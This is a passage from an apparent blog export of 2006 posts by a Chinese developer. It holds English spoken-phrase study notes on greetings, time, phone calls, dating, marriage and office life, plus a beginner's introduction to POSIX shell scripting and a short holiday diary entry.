himself.\nDo you mind if I smoke?\nI like your house.\nI really like your apartment.\nWatch your step. 小心脚下\nThe floor is slippery.\nPlease turn on the TV.\nCan I park my car here?\n[介绍某人]\nMs. Kane, this is Mr. Smith, my boss.\nNice to meet you.\nMay I have your name please? 贵姓？\nI’d like you to meet friends of mine.\nHe is a nice guy.\nI’m glad to meet you.\nIt is an honor for me to meet you.\nPlease call me Tom.\nDon’t I know you from somewhere. 我们是不是在哪儿见过面?\nRemember?\nOh, yeah, you’re Mr. Smith!\nI’m not sure. Maybe.\nNo,I don’t think so.\nThis is the first time we have met.\nIs Bob your old friend?\nI can’t remember his name.\nI leave it entirely to your kind consideration. 这事全拜托你了\nI’m John Sheehan.\n[和初次见面的人交谈]\nWhere are you from?\nI’m from Canada.\nI come from Canada.\nHow do you like China?\nI like it.\nIt is a good place.\nWhere have you been in China? 你去过中国的哪些地方？\nWhere do you live now?\nI live in Beijing.\nAre you here on vacation.\nI’m here on business.\nHow long have you been in China?\nAbout four months.\nAre you used to life in China?\nHow long will you be in China?\nUntil December.\nDo you speak Chinese?\nA little.\nI can’t speak Chinese at all.\nI know (everyday) conversational Chinese.\nWhere did you learn Chinese?\nAt school.\nI learned it on my own/by myself.\nWhen is your birthday?\n[有关工作]\nDo you know his background?\nI work for a computer company.\nI am a government employee.\nI’m self-employed. 个体经营者\nWhich department do you work for?\nSales.\nHow long have you been doing that job?\nFor ten years.\nWhere is your company?\nHow long does it take you to commute? 上班\nAbout an hour.\nHow do you get to work?\nI ride the subway. 乘地铁\nI’m changing jobs.\nI’m job hunting now.\nI’m retiring next year.\nI’m out of work now.\n[有关学校]\nAre you a student?\nI’m a college student.\nI’m studying english.\nI went to HIT. 毕业于\nWhere did you go to college?\nWhat school do you go to?\nI go to … university.\nWhat year/grade are you in ?\nI’m a freshman. 一年级新生\nI’ll graduate next year.\nWhat’s your major? = what do you major in?\nI’m a English major = I major in English.\nWhat club are you in?\nI’m in the ski club.\nDo you have a part-time job?\nI work at a bookstore as a cashier once a week.\nWhat are your plans after graduation?\n[有关家庭]\nHow many people are in your family?\nMy parents and my younger sister.\nAny brothers or sisters?\nJust one brother.\nDo you live with your parents?\nI live alone.\nI live in an apartment.\nAre you married?\nNo, not yet.\nI’m going to get married next year.\nI’m married.\nI’m engaged.\nAny children?\nI have one daughter in elementary school.\nI don’t have any children.\n[兴趣爱好]\nWhat’re your hobbies?\nDo you have any hobbies?\nWhat do you do when you have free time?\nI like to watch movies.\nWhat kind of movies do you like?\nYou are a good pianist.\nWhat kind of sport do you like?\nHow long have you been skiing?\nI just like to watch.\nI’m a baseball fan.\nI like to play golf.\nHave you ever done aerobics? 健美操\nWhat are your interests?\nI’ve never done that.\nHave you ever traveled aboard?\nWhere have you been?\nI’ve been to the U.S. and Germany.\nWhere do you want to go next?\n[有关年龄、身高和体重]\nHow old are you?\nI’m 24.\nHow much do you weigh?\nAbout seventy-five kilograms.\nI weigh a-hundred-sixty-four pounds.\nHow tall are you?\nAbout one-hundred-eighty centimeters\nI’m five feet three inches tall.\n[有关天气]\nIt’s very hot today, isn’t it?\nIt’s blistering/extremely hot.\nIt’s a fine day today.\nWhat’s the forecast for tomorrow?\nHow is the weather today?\nIs it going to rain today?\nWe’re expecting some rain. 好像要下雨\nIt’s raining.\nIt is going to rain today.\nIt’s hot/warm/cold/cool/chilly/windy/humid/dry today.\nIt’s storming/snowing/gloomy/cloudy.\nIt looks like we are going to have a thunder shower.\nA typhoon is coming.\nIt is foggy.\nIt is freezing.\nWe’re going to have a blizzard.\nIt’s mild today.\nIt’s overcast/miserable/breezy/uncomfortable today.\nThe heat is killing me.\nIt’s raining cats and dogs!\nIt’s frosty today.\n[New Words To Me]\nrun into — meet occasionally. = bump into.\ndrop by — visit informally and spontaneously.\nslippery — causing or tending to cause things to slip or slide.\ncommute — a regular journey of some distance to and from your\nplace of work.\naerobics — exercise that increases the need for oxygen.\n","permalink":"https://tonybai.com/2006/05/04/spoken-english-note-series-hello-and-bye/","summary":"\u003cp\u003e‘见面分手’是我们每天生活中必不可少的事情，在英语口语中这方面的词句有很多，其中不乏俚语，我们一起来学习一下’口语8000句’中是如何谈’见面分手’的。\u003c/p\u003e","title":"口语学习笔记之'见面分手'"},{"content":"继续学习’口语8000句’，今天轮到’日期与时间’了。\n[询问时间]\nWhat’s today’s date?\nIt is August 13th.\nWhat day is it?\nIt’s Thursday.\nWhat’s the time?\nIt is almost noon.\nIt’s one o’clock.\nIt’s five after one.\nThe clock/watch says 3:15.\n[有关时间]\nThe clock is five minutes slow.\nWell, Time to go!\nAbout when?\nAbout what time?\nHow’s the time? 来得及吗？= How are we doing for time?\nI have no time.\nYou must wait for 5 more days.\nWhat is taking so long.\nI wasted a whole day.\nTime has come.\nTime is money.\nI killed 2 hours watching TV.\nTime is up. = There’s no time left.\nDo you have some free time?\nIt is about time.\nComputers save us time.\n","permalink":"https://tonybai.com/2006/05/03/spoken-english-note-series-date-and-time/","summary":"\u003cp\u003e继续学习’口语8000句’，今天轮到’日期与时间’了。\u003c/p\u003e\n\u003cp\u003e[询问时间]\u003cbr\u003e\nWhat’s today’s date?\u003cbr\u003e\nIt is August 13th.\u003cbr\u003e\nWhat day is it?\u003cbr\u003e\nIt’s Thursday.\u003cbr\u003e\nWhat’s the time?\u003cbr\u003e\nIt is almost noon.\u003cbr\u003e\nIt’s one o’clock.\u003cbr\u003e\nIt’s five after one.\u003cbr\u003e\nThe clock/watch says 3:15.\u003cbr\u003e\n \u003cbr\u003e\n[有关时间]\u003cbr\u003e\nThe clock is five minutes slow.\u003cbr\u003e\nWell, Time to go!\u003cbr\u003e\nAbout when?\u003cbr\u003e\nAbout what time?\u003cbr\u003e\nHow’s the time? 来得及吗？= How are we doing for time?\u003cbr\u003e\nI have no time.\u003cbr\u003e\nYou must wait for 5 more days.\u003cbr\u003e\nWhat is taking so long.\u003cbr\u003e\nI wasted a whole day.\u003cbr\u003e\nTime has come.\u003cbr\u003e\nTime is money.\u003cbr\u003e\nI killed 2 hours watching TV.\u003cbr\u003e\nTime is up. = There’s no time left.\u003cbr\u003e\nDo you have some free time?\u003cbr\u003e\nIt is about time.\u003cbr\u003e\nComputers save us time.\u003c/p\u003e","title":"口语学习笔记之'日期与时间'"},{"content":"俗话说：\u0026ldquo;工欲善其事，必先利其器\u0026rdquo;。在Unix/Linux上做开发，这里的’器’也同样包括Unix Shell Script，遗憾亚，虽然自己在Unix上开发已经快2年了，但是对Unix Shell Script可以说是’Script盲’一个，很多稍微复杂些的Script自己根本都看不懂。其实这也是自己栽下的’苦果’，因为以前我一直’歧视’Script language，认为那不是真正程序员该精通的，所以也就没有认真钻研过。目前认识到了解一定的Script技术，可以很大程度提高自己的工作效率，有些小工具用Script实现方便极了。这里’扫盲’一是给自己’扫盲’，二是把这些基础的Script技术和那些对和我一样对Script不熟悉的人一起分享。这篇中的所涉及的Shell语法均为符合POSIX标准的语法，可能很多Shell不能与该语法完全相吻合。自己感觉Bash与POSIX Shell语法最为接近。\n首先我们要知道Script Language属于’解释型’语言，其性能要逊于像C、C++这类的编译型语言。但是Script Language由于站在更高的层次，它编写相对简单，编写效率要高于编译型语言，用它来做一些系统管理和辅助性的工作绰绰有余。还有一点值得注意的是Shell script已经被标准化，这就意味着其可移植性相对较好，基本上是’Write Once, Run Everywhere’!\n当你打开一个后缀为.sh的文件时，在文件的第一行一般有这样格式的字符串\u0026quot;#!usr/bin/xx\u0026quot;，这种script文件叫’Self-Contained Script’，也就是说它可以像可执行程序那样被执行而不用你输入额外的字符，比如有这样的一个简单的’Self-Contained Script’：\n/* helloworld.sh */\n#! /usr/bin/bash\necho \u0026ldquo;hello world\u0026rdquo;\n我们编辑完后，再赋予helloworld.sh可执行权限属性，这样我们就可以在命令行上敲入’helloworld’，’hello world’就输出到屏幕上了，更准确的说是标准输出上^_^。\nShell Script实际上是一组’命令’序列，它支持三种基本的命令：\n内置命令 — 像cd、read、echo、printf等shell自己使用的一些命令；\nShell函数 — 用Shell Language写的函数，调用方式与外部命令相同；\n外部命令 — Shell通过创建一个新的进程来运行这个命令，典型的’spawn’模式 — ‘fork + exec’.\n既然Shell Script被称为一门语言，那么它也自然也不例外的拥有变量和相关的控制语句，我们逐一来学习一下。\n[Shell变量]\n1、定义变量：例如YOUR_VAR1=this_is_my_first_shell_var、YOUR_VAR2=\u0026ldquo;this is my first shell var\u0026rdquo;，对于变量值中间含有空格的，就按照YOUR_VAR2的定义方式，用双引号括上即可。注意在’=\u0026lsquo;两边不允许有空格，否则会解释出错。\n2、引用变量：例如echo $YOUR_VAR1、printf \u0026ldquo;${YOUR_VAR1} ${YOUR_VAR2}\\n\u0026rdquo;、MY_VAR1=$YOUR_VAR1。在引用变量时最好用’{}’将你的变量括起来，否则当Shell解释器遇到这样的语句echo $YOUR_VAR1is，它就不认识了，修改成echo ${YOUR_VAR1}is后，则一切正常了。\n[Shell环境变量]\n每种Shell都有自己的环境变量，这些变量被该Shell下执行的程序所继承和共享，那我们如何定义环境变量呢？使用export命令。\nexport varname=value\n或者\nvarname=value\nexport varname\n例如：\n/* 在环境变量文件中, Bash中为.bashrc，C Shell中为.cshrc */\nhours_per_day=24\nseconds_per_hour=3600\nexport hours_per_day\nexport seconds_per_hour\n这样我们在命令行上敲入echo $hours_per_day后，我们就可以看到24输出在标准输出上了。\n[条件分支判断]\nShell条件判断的语句格式：\nif condition1\nthen\nstatement1\nstatement2\n……….\nelif condition2\nthen\nstatement3\nstatement4\n…….. else\nstatement5\n……..\nfi\nShell Script支持多种判断condition的方法，如果在condition处是一个command, 那么如果该command执行成功，其退出状态(exit status)为0，否则为不等于0的值。当你既要获取command退出状态，而又不想要该command的输出时，有一个常用的技巧，那就是使用’/dev/null’文件设备。熟悉Unix编程的人都知道’/dev/null’文件的作用，这里不多说。看下面的例子：\n#! /usr/bin/bash\nif ls -l|grep myfile \u0026gt; /dev/null\nthen\necho \u0026ldquo;myfile exists\u0026rdquo;\nelse\necho \u0026ldquo;myfile doesn’t exist\u0026rdquo;\nfi\n在condition处我们大多数情况下都会利用test命令来判断condition，test命令有两种使用方式：\ntest operand1 operator operand2\n或者是\n[ operand1 operator operand2 ](省略test)\n我们举例说明：\nX=3\nY=6\nif [ ${X} -lt ${Y} ]\nthen\necho \u0026ldquo;${X} \u0026lt; ${Y}\u0026rdquo;\nelse\necho \u0026ldquo;${X} \u0026gt; ${Y}\u0026rdquo;\nfi\nif test ${X} -lt ${Y}\nthen\necho \u0026ldquo;${X} \u0026lt; ${Y}\u0026rdquo;\nelse\necho \u0026ldquo;${X} \u0026gt; ${Y}\u0026rdquo;\nfi\ntest命令提供的operator很是丰富，其中一目operator包括：\n-n — operand non zero length\n-z — operand has zero length\n-d — there exists a directory whose name is operand\n-f — there exists a file whose name is operand\n二目operator包括：\n-eq — the operands are integers and they are equal\n-neq — the opposite of -eq\n= — the operands are equal (as strings)\n!= — opposite of =\n-lt — operand1 is strictly less than operand2 (both operands should be integers)\n-gt — operand1 is strictly greater than operand2 (both operands should be integers)\n-ge — operand1 is greater than or equal to operand2 (both operands should be integers)\n-le — operand1 is less than or equal to operand2 (both operands should be integers)\n[循环语句]\n和C语言类似，Shell也支持for、do..while loop，而且还支持break、continue这样的跳转语句。有了上面的基础理解这两组语句就不难了，看看例子一切都明白了。\ne.g.-1\nX=0\nwhile [ $X -le 20 ]\ndo\necho $X\nX=$((X+1))\ndone\ne.g.-2\ncolour1=\u0026ldquo;red\u0026rdquo;\ncolour2=\u0026ldquo;blue\u0026rdquo;\ncolour3=\u0026ldquo;green\u0026rdquo;\nfor X in \u0026ldquo;$colour1\u0026rdquo; \u0026ldquo;$colour2\u0026rdquo; \u0026ldquo;$colour3\u0026rdquo;\ndo\necho $X\ndone\ne.g.-3\ncolour4=\u0026ldquo;red blue green\u0026rdquo;\nfor Y in $colour4\ndo\necho $Y\ndone\n这里e.g.-2和e.g.-3的输出是一样的。\n[Shell函数]\nShell函数的定义与C语言也类似，格式如下：\n[function] name ()\n{\ncommand-list;\n}\nShell Function的使用和外部command一样，不同的是Shell Fucntion运行在Shell进程上下文中，Shell在执行Shell Function时不另外启动一个新的进程。在Shell Function内部，Shell Fucntion参数屏蔽了其Parent Script的参数，见下面的例子：\n/* test.sh */\n#! /usr/bin/bash\nprintarglist ()\n{\necho ${1}\necho ${2}\n}\nprintarglist ${1} upload\n执行：test.sh go download\n输出：go upload\n以上是Shell Script的基本语法结构，权当给自己’扫盲’了，当然Shell Script编程又很多经验和技巧，这需要在以后不断的实践中慢慢摸索了。\n","permalink":"https://tonybai.com/2006/05/02/an-introduction-on-unix-shell-scripting/","summary":"\u003cp\u003e俗话说：\u0026ldquo;工欲善其事，必先利其器\u0026rdquo;。在Unix/Linux上做开发，这里的’器’也同样包括Unix Shell Script，遗憾亚，虽然自己在Unix上开发已经快2年了，但是对Unix Shell Script可以说是’Script盲’一个，很多稍微复杂些的Script自己根本都看不懂。其实这也是自己栽下的’苦果’，因为以前我一直’歧视’Script language，认为那不是真正程序员该精通的，所以也就没有认真钻研过。目前认识到了解一定的Script技术，可以很大程度提高自己的工作效率，有些小工具用Script实现方便极了。这里’扫盲’一是给自己’扫盲’，二是把这些基础的Script技术和那些对和我一样对Script不熟悉的人一起分享。这篇中的所涉及的Shell语法均为符合POSIX标准的语法，可能很多Shell不能与该语法完全相吻合。自己感觉\u003ca href=\"http://www.gnu.org/software/bash/\"\u003eBash\u003c/a\u003e与POSIX Shell语法最为接近。\u003c/p\u003e","title":"Unix Shell Scripting之'扫盲篇'"},{"content":"电话沟通是现在日常生活和商业活动中的一种重要的沟通方式，今天我要学习的就是如何使用英语进行有效的电话沟通。下面是’口语8000句’之’电话’的听写笔记。\n[打电话]\nThis is Dennis Smith.\nHello, John?\nIs this Mr. Dennis Smith?\nIs this the finance department?\nIs this Dr. Jim Baker’s office?\nDo you mind if I use your phone?\nMay I speak to Mr Smith?\nIs Mark there?\nI’m sorry for calling you this late.\nI hope I’m not disturbing you.\nI hope I didn’t wake you up.\nIt is urgent I talk to Mr Smith now.\nI’m calling about tomorrow’s meeting.\nI’m returning your call.\n[接电话]\nSpeaking!\nIt is me.\nABC Business College, May I help you?\nWho is calling please?\nWho in particular would you like to talk to?\nHe is been expecting your call.\nWhich Smith do you want to talk to ?\nThere are three Smiths here.\nWould you mind calling back later?\nExtension 103, please.\nI’ll connect you to extension 103.\nHold on, please.\nI’ll put him on.\nI’ll transfer your call.\nI’ll get your party for you. (here ‘party’ means the person who is called for)\nI’m transferring your call to the sales department.\nYou have a call from Mr. Smith of ABC.\nYour party is on the line.\n[无法接电话时]\nHer line is busy now.\nI’m sorry, she is tied up at the moment.\nWould you like to hold?\nHe is away from his desk.\nHe is in but he is not at his desk right now.\nI’m sorry, he is not in right now.\nWhen is he coming back?\nHe should be back in 10 minutes.\nHe should be back in the office next week.\nHe is on vacation until next week.\nHe called in sick today.\nHe is out of town now.\nHe is out to lunch now.\nHe is in a meeting now.\nHe is off today.\n[留言]\nCould you call back later?\nPlease call me back in ten minutes.\nMay I take a message?\nI’ll try again later.\nCan I leave a message?\nI called but your line was busy.\nWould you tell him that Tom called?\nPlease tell him to call me.\nHow can he get a hold of you? 如何联系你\nYour number, please.\nMy number is …\nYour can reach me at 12341234 until six o’clock.\nLet me repeat the number, that is 12341234.\nOK, I’ll tell him that you called.\nHow do you spell your name?\nMr. Tom called you during the meeting.\nI’ll have him call you back.\nShall I have him call you back?\n[挂断电话]\nThanks for calling.\nPlease call again anytime.\nI’d better get off the phone.\nI have to go now.\nI guess I’d better get going. 挂电话\nNice talking to you, bye.\nPlease hung up the phone.\nI was cut off. = I was disconnected.\nShe hang up on me. = She hang up before I finished.\nThe phone went dead.\nThank you for returning my call.\n[打错电话]\nI’m afraid you have the wrong number.\nWhat number are you calling?\nWho would you like to talk to?\nThere is no one here by that name.\nThere is no Bob in this office.\nI’m sorry. I must have misdialed.\n[电话留言]\nThis is Tom’s calling. Please call me as soon as possible.\nThis is Tom of ABC. Please call me when you get home. My number is 12341234.\nThis is a recording.\n[打电话遇到困难]\nPlease speak a little more slowly.\nI can’t hear you very well.\nWe have a bad connection.\nCould you speak up, please?\nThe lines are crossed. 串线\nI’m sorry to have kept you waiting.\nThank you for waiting.\nYou give me the wrong number.\n[New Words To Me]\nextension — an additional telephone connected to a main line.\nput sb on — 让..接电话.\ntie up — too busy to answer the phone.\ncall in sick — 打电话请病假\n","permalink":"https://tonybai.com/2006/05/01/spoken-english-note-communication-on-telephone/","summary":"\u003cp\u003e电话沟通是现在日常生活和商业活动中的一种重要的沟通方式，今天我要学习的就是如何使用英语进行有效的电话沟通。下面是’口语8000句’之’电话’的听写笔记。\u003c/p\u003e","title":"口语学习笔记-'电话沟通'"},{"content":"刚刚看到Google黑板报的一篇短文\u0026rsquo;五一节快乐\u0026rsquo;，心想这是自己第一次五一节加班，是不是也该写点什么，不过该写些什么呢，自己心里也没个方向，那就想到哪写到哪吧！\n已经连续工作7天了，自己略感到有些疲惫，今天早上醒的很早，自己做了碗\u0026rsquo;蛋炒饭\u0026rsquo;，然后把它吃个精光，缓解肚内空虚^_^。加班毕竟不比工作日，时间安排上有一定自主权，只要工作完成了，领导也不会说什么^_^。到公司的时候已经9点多了。很多来加班的已经到了。每天正式开始工作前都喜欢看看blog，看看有什么新闻发生，看看大家都在关注些什么。在自己的blog上居然发现这么一条评论，说我的blog像\u0026rsquo;天书\u0026rsquo;，最近英语笔记写了不少，也许是满屏的英语让这位\u0026rsquo;抽烟的大萝卜\u0026lsquo;感到不爽了，没办法，公司业务扩大，英语已经摆在了议事日程上来了，早学早受益亚^_^。上Bloglines看看其他人在五一节都在做甚么呢。Keso为我们带来了\u0026rsquo;劳动节的礼物\u0026rsquo; — Blogsome又一个Blog站点，看其主页还是挺清新简洁的，符合我的风格。苦咖啡豆想利用51尝试硬盘安装Ubuntu6，这与我也不谋而合，昨天朝秘书借了光驱，就准备在我的台式机上安装Ubuntu 5.10，Ubuntu光盘早于今年年初就收到了，惭愧的是至今仍未安装过。至于我订阅的其他Blogger们好像都去欣赏大自然的美好景色去了。\n很多人都知道今天是沈阳世界园艺博览会的开园日，而且天公作美，今天沈城的天气格外的好，好像上个月的糟糕天气都是为今天\u0026rsquo;积德\u0026rsquo;的似的。估计今天的世博园要\u0026rsquo;爆棚\u0026rsquo;了，那是\u0026rsquo;红旗招展，人山人海\u0026rsquo;呀^_^\n最后说一句：五一节你快乐，我工作。^_^\n","permalink":"https://tonybai.com/2006/05/01/you-happy-i-work-on-may-day/","summary":"\u003cp\u003e刚刚看到\u003ca href=\"http://googlechinablog.com/\"\u003eGoogle黑板报\u003c/a\u003e的一篇短文\u0026rsquo;\u003ca href=\"http://googlechinablog.com/2006/05/blog-post.html\"\u003e五一节快乐\u003c/a\u003e\u0026rsquo;，心想这是自己第一次五一节加班，是不是也该写点什么，不过该写些什么呢，自己心里也没个方向，那就想到哪写到哪吧！\u003c/p\u003e\n\u003cp\u003e已经连续工作7天了，自己略感到有些疲惫，今天早上醒的很早，自己做了碗\u0026rsquo;蛋炒饭\u0026rsquo;，然后把它吃个精光，缓解肚内空虚^_^。加班毕竟不比工作日，时间安排上有一定自主权，只要工作完成了，领导也不会说什么^_^。到公司的时候已经9点多了。很多来加班的已经到了。每天正式开始工作前都喜欢看看blog，看看有什么新闻发生，看看大家都在关注些什么。在自己的blog上居然发现这么一条评论，说我的blog像\u0026rsquo;天书\u0026rsquo;，最近英语笔记写了不少，也许是满屏的英语让这位\u0026rsquo;\u003ca href=\"http://yamei.blogbus.com/\"\u003e抽烟的大萝卜\u003c/a\u003e\u0026lsquo;感到不爽了，没办法，公司业务扩大，英语已经摆在了议事日程上来了，早学早受益亚^_^。上\u003ca href=\"http://www.bloglines.com/\"\u003eBloglines\u003c/a\u003e看看其他人在五一节都在做甚么呢。\u003ca href=\"http://blog.donews.com/keso\"\u003eKeso\u003c/a\u003e为我们带来了\u0026rsquo;\u003ca href=\"http://feeds.feedburner.com/PlayinWithIt?m=1398\"\u003e劳动节的礼物\u003c/a\u003e\u0026rsquo; — \u003ca href=\"http://www.blogsome.com/\"\u003eBlogsome\u003c/a\u003e又一个Blog站点，看其主页还是挺清新简洁的，符合我的风格。\u003ca href=\"http://blog.donews.com/maozixiansheng\"\u003e苦咖啡豆\u003c/a\u003e想\u003ca href=\"http://blog.donews.com/maozixiansheng/archive/2006/04/30/852271.aspx\"\u003e利用51尝试硬盘安装Ubuntu6\u003c/a\u003e，这与我也不谋而合，昨天朝秘书借了光驱，就准备在我的台式机上安装Ubuntu 5.10，\u003ca href=\"http://tonybai.com/2006/01/23/got-the-ubuntu-disc/\"\u003eUbuntu光盘\u003c/a\u003e早于今年年初就收到了，惭愧的是至今仍未安装过。至于我订阅的其他Blogger们好像都去欣赏大自然的美好景色去了。\u003c/p\u003e","title":"五一节你快乐，我工作"},{"content":"最近项目很紧，少有大段儿的时间去思考技术，不过每天晚上拿出2个小时学习英语还是能满足的！人总是要进步的不是，不学点儿啥这心里总是觉得不踏实^_^。今天的话题估计很多人都喜欢’恋爱与结婚’，初春季节正是谈情说爱的’黄金时间’，学上两句说不定你什么时候就能派上用场。\n[喜欢和爱上]\nTom is a lady-killer.\nTom realy turns me on.\nChris is really a heartbreaker.\nJanet is a knockout.\nI think he has a crush on you.\nJane seems to like me.\nI can’t handle a girl like her.\nI’m dying to see her.\nI am trying to make a pass at her.\nYou broke my heart.\n[约会]\nAre you free tonight?\nDo you want to go out tonight?\nWould you like to go to the movies with me?\nLet’s have tea or something.\nPlease keep me company for a while = please keep company with me for a while.\nI’d like to invite you to a show.\nMay I ask you out?\nAre you trying to pick me up?\nWhere do you want to meet?\nWhat time should we meet?\n[表白]\nI want to talk to you.\nAre you seeing anyone now?\nWhat do you think of me?\nYou are the most beautiful woman I’ve ever seen.\nI’m crazy for you.\nDon’t play hard to get.\nI don’t want to get serious yet.\nIt was love at first sight.\nI wish I had never met you.\nYou are my type.\nYou make me happy.\nI’m happy to have known you.\nYou have beautiful eyes.\nYou’re sweet.\nYou’re sexy.\nLet’s walk hand in hand.\nMay I hold your hand?\nYou’re beautiful!\nI want to know all about you.\nI want you.\nI need you.\nYou are everything to me.\nYou are mine.\nI am yours.\nI can’t live without you.\nCome closer.\nWhat’s on your mind?\nI think of you night and day.\nThere will never be another you.\nI like your dress.\nNothing is too good for you. (为你我在所不惜)\nAre you seducing me?\nHold me tight!\nDon’t go away.\nI can’t help falling in love with you.\nI have never felt like this before.\nYou’re the one for me.\nI always speak my mind. = I’m always honest.\nLove me, Love my dog.\nBe gentle!\nLove me more!\nLook at me!\nI fell in love with Rose.\nI am deeply in love with Rose.\n[结婚]\nWill you marry me?\nI don’t want to get engaged yet.\nI don’t want to get married yet.\nI have not thought about marriage yet.\nI love you but I can’t marry you.\nI hesitate to marry her.\nHe is newlywed.\nHow is your married life?\nWe are happy together now.\nI love my wife.\nWe are two of a kind.\nWe are a well-matched couple.\nI am a family-centered person.\nShe wants to start a family.\nI am pregnant.\nWhat did she have?\nWe can work it out.\nI think of my wife first.\nWe, as a husband and a wife, don’t have any fights.\n[离婚]\nWe fight a lot.\nI don’t love my wife any more.\nMy wife is cheating on me.\nWe have a falling-out.\nI’ve changed my mind.\nYou have changed.\nAre you seeing someone now?\nI don’t see eye to eye with my wife.\nWe just don’t get along.\nI though I knew you.\nI had an affair with my secretary.\nI don’t enjoy being with you.\nLet’s get divorced.\nI am separeted from my wife.\nI can’t get over losing you.\nBreaking up is hard to do.\nDon’t break my heart.\nWe argued for hours.\n[New Words To Me]\nturn sb on — 令…神魂颠倒\nknockout — a strikingly attractive or impressive person or thing, especially refer to female. [slang]\ncrush — [slang]迷恋.\ndying — eagerly desirous.\nmake a pass at sb — 追求sb.\nask sb out – make a date with sb = pick sb up = see sb.\nplay hard to get — 故意装出难以接近的样子(以鼓励对方作进一步追求).\nseduce — to entice or beguile into a desired state or position.\nnewlywed — someone recently married.\ntwo of a kind — 性格相似\nfalling-out — a disagreement; a quarrel.\nsee eye to eye with sb — 看法完全一致.\naffair — a romantic and sexual relationship, sometimes one of brief duration, between two people who are not married to each other.\nget over — overcome: get on top of; deal with successfully.\n","permalink":"https://tonybai.com/2006/04/29/spoken-english-note-series-love-and-marriage/","summary":"\u003cp\u003e最近项目很紧，少有大段儿的时间去思考技术，不过每天晚上拿出2个小时学习英语还是能满足的！人总是要进步的不是，不学点儿啥这心里总是觉得不踏实^_^。今天的话题估计很多人都喜欢’恋爱与结婚’，初春季节正是谈情说爱的’黄金时间’，学上两句说不定你什么时候就能派上用场。\u003c/p\u003e","title":"口语学习笔记之'恋爱和结婚'"},{"content":"对于一个工作的人来说，他一天的大部分’清醒’时间都是在工作单位度过的，办公室交流也就成为了每天生活中必备的部分，这次我们一起来学习办公室口语。下面是’口语8000句’之’在工作单位’的听写笔记。\n[在办公室]\nI made it.\nBe punctual!\nYou are late again.\nI was only late by 5 minutes.\nDid you punch in/out?\nLet me check my schedule.\nI’ve got so much to do.\nI am pressed for time.\nI am a ordinary office worker.\nThe work doesn’t need much effort.\nI’m in charge of the west side.\nI’m done with the work.\nI can still work for a long time.\nOur boss has been fired.\nPlease staple these together.\nWould you copy these papers?\nThis copy machine doesn’t work.\nI think it ran out paper.\nWhen is this due?\nIt is due on the 30th.\nLet’s take a break.\nGet me a cup of coffee, will you?\nWould you like some coffee?\nThat would be great!\nIt is almost lunchtime.\nWe took a hour lunch break.\nLet’s get started.\nI can’t leave this job at the moment.\nI am too busy to bother with such details.\nI am so busy, I would really appreciate any help I could get.\nDon’t slack off.\nDo your best.\nDon’t work too hard.\nPull yourself together. (打起精神)\nYou can count on me.\nI don’t even have time to catch my breath.\nWhat’s keeping you?\nChanging job is the only way out.\nYou’d better work harder.\nI’m a workaholic.\nI don’t know how to fill out this form.\nHow do I fill out this form?\nCan you help me with this form?\nIt looks like it’s going to be a long meeting, doesn’t it?\nThe meeting went well.\nI did all I could do.\nAre you impressed?\nPlease underline the important items.\nCheck. (对方在检查名单时表示满意的用法)\nWould you get to the point?\nPlease do it all over again.\nFax this paper to Mr Li.\nPlease hand in the document to me.\nThis is a piece of work I can be proud of.\nI can not find my white-out.\nAre you working overtime tonight?\nBusiness is business.\nHe is a hard worker.\nYou are overworking.\nFinish this report today!\nWhen is this paper due?\nI’ve got so much to do.\nThere is a lot of work piled up on my desk.\nWe will fake it.\nAll done!\nIt’s been a long day.\nI can’t make an exception for you. (破例)\nIt is dark outside already.\nLet’s finish up.\nI’ve just finished work.\nToday is payday.\nLet’s have a drink.\nThanks for your hard work.\nI hope you don’t my leaving now.\nSorry for interrupting.\nMay I interrupt you?\nMr Li is on line one.\nI have an appointment with Mr Li.\nWhat floor is ABC on?\nWhere are the elevators?\n[人际关系]\nI get along well with him.\nI respect him.\nI despise him.\nI want to get along with everyone.\nAre you getting along with her?\nShe ignored me.\nI don’t know what he is really thinking.\nI have no reason to be envied.\nI don’t like brownnosers.\nI’m neglecting my family.\nWhich side are you on?\nI’m on your side.\nHe is very hard on me.\nHe always treat me as a enemy.\nHe treated me badly.\nWe’re on a first name basis.\n[评论他人]\nHe is quick on the uptake. (理解力很强)\nHe will never let you down.\nHe is efficient.\nHe is a good guy.\nHe looks old for his age.\nYou look younger than me.\nThat is the way he is.\nWho is he like?\nHe has a lot of common sense.\nHe is wise for his age. (很博学)\nHe knows a lot of people.\nHe is a go-getter.\nYou are so sympathetic.\nHe is faithful.\nHe has a deep voice.\nHe has put on weight.\nHe is overweight.\nYou have a lot of nerve.\nHe is a very modest man.\nHe has a good/bad temper.\nThere is something strange about her.\nShe is not herself.\nShe is so weird.\nTom eats like a bird.\nShe has a nice figure.\nHis best days are gone.\nMy father is getting on in years.\nWhat does he look like?\nThey are making a big fuss.\nHe is a chain smoker.\n[贬低别人]\nHe is selfish.\nHe takes things too seriously.\nHe is simpleminded.\nHe is on edge. (情绪烦躁)\nHe is talkative.\nHe is quite well off.\nHe is fresh.\nHe is a smooth talker.\nHe is nobody’s fool.\nHe often says absurd things.\nHe has no sense of responsibility.\nHe’s very offensive.\nHe is a difficult man to deal with.\nHe is a stubborn old man.\nHe is aiming too high.\nThat man never admits defeat.\nHe is crooked.\nHe is good for nothing.\nHe is shy around strangers.\nHe is acting big.\nHe has a short temper. (易怒)\nHe eats like a horse.\nYour perfume is strong.\n[自我评价]\nI’m young in spirit.\nI’m all thumbs. 笨拙\nI like being alone.\nI am easygoing.\nI get embarrassed easily.\nI’m practical about everything. 现实的\nI’m a good judge of charactor.\nI prefer wine to sweets.\nI have led a dog’s life.\nI have poor eyesight.\n[New Words To Me]\npunctual — acting or arriving exactly at the time appointed; prompt.\npunch in/out — 打上/下班钟卡.\nstaple — to secure or fasten by means of a staple or staples.\nslack — moving slowly; sluggish.\ncount on — 依靠, 指望.\nworkaholic — one who has a compulsive and unrelenting need to work.\novertime — beyond the established time limit, especially that of the normal working day.\nfake — to engage in feigning, simulation, or other deceptive activity.\ndespise — to regard with contempt or scorn.\nbrownnose — to curry favor with in an obsequious manner; fawn on.\nbe hard on sb — 对..刻薄/不客气.\ngo-getter — [slang] 非常积极能干的人, 老手.\nadj + for — 与..比较…\nsympathetic — expressing, feeling, or resulting from sympathy.\nwell off — rich.\nabsurd — ridiculously incongruous or unreasonable.\noffensive — causing anger, displeasure, resentment, or affront.\nstubborn — unreasonably, often perversely unyielding; bullheaded.\ncrooked — dishonest or unscrupulous; fraudulent.\nperfume — a substance that emits and diffuses a fragrant odor, especially a volatile liquid distilled from flowers or prepared 